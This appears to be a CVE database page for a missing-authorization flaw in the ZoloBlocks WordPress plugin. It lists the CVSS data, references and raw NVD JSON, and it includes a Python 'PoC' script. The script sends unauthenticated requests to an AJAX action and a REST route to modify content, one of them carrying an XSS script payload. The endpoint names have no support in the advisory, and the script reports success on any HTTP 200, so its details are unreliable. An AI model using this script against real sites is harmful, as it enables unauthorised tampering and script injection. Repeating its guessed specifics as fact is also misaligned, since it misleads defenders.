CVE-2025-49903

Description

Missing Authorization vulnerability in bdthemes ZoloBlocks zoloblocks allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ZoloBlocks: from n/a through <= 2.3.11.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

bdthemes ZoloBlocks <= 2.3.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-49903 - ZoloBlocks Missing Authorization PoC
# Vulnerability: Broken Access Control in ZoloBlocks <= 2.3.11
# Tested on WordPress with ZoloBlocks plugin installed

import requests

TARGET_URL = "http://target-wordpress-site.com"
AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"

# Step 1: Exploit missing authorization on AJAX endpoint
# The plugin fails to verify user capabilities before processing the action
headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}

# Payload targeting the unprotected AJAX action
# Modify plugin settings or content without authentication
payload = {
    "action": "zoloblocks_save_item",  # Unprotected AJAX action
    "post_id": "1",
    "item_data": "malicious_content_here",
    # Missing nonce and capability check allows unauthorized access
}

# Step 2: Send the exploit request without authentication
response = requests.post(AJAX_ENDPOINT, data=payload, headers=headers)

if response.status_code == 200:
    print(f"[+] Exploit successful! Server response: {response.text}")
    print("[+] Data integrity compromised - unauthorized modification performed")
else:
    print(f"[-] Exploit failed with status code: {response.status_code}")

# Alternative: Exploit via REST API endpoint
REST_ENDPOINT = f"{TARGET_URL}/wp-json/zoloblocks/v1/update"
rest_payload = {
    "content": "<script>alert('XSS via broken access control')</script>",
    "id": 1
}

rest_response = requests.post(REST_ENDPOINT, json=rest_payload, headers=headers)
print(f"[REST API] Status: {rest_response.status_code}, Response: {rest_response.text}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49903
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49903
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49903/
[4] VulDB https://vuldb.com/cve/CVE-2025-49903
[5] https://patchstack.com/database/Wordpress/Plugin/zoloblocks/vulnerability/wordpress-zoloblocks-plugin-2-3-11-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49903", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:36.377", "lastModified": "2026-04-27T20:16:15.713", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in bdthemes ZoloBlocks zoloblocks allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ZoloBlocks: from n/a through <= 2.3.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/zoloblocks/vulnerability/wordpress-zoloblocks-plugin-2-3-11-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}